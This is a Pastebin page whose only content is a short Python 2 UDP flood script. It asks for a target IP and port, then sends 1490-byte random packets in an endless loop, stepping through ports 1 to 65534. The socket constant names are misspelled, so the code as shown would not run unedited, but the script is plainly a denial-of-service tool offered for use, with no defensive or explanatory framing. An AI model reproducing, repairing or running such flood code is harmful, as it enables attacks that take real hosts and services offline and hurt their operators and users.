Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import random
- sock = socket.socket(socket.AFINET, socket.SOCKDGRAM)
- bytes = random._urandom(1490)
- ip = raw_input('Target IP: ')
- port = input('Port: ')
- sent = 0
- while True:
- sock.sendto(bytes, (ip,port))
- sent = sent + 1
- port = port + 1
- print "Sent %s packet to %s throught port %s"%(sent,ip,port)
- if port == 65534:
- port = 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement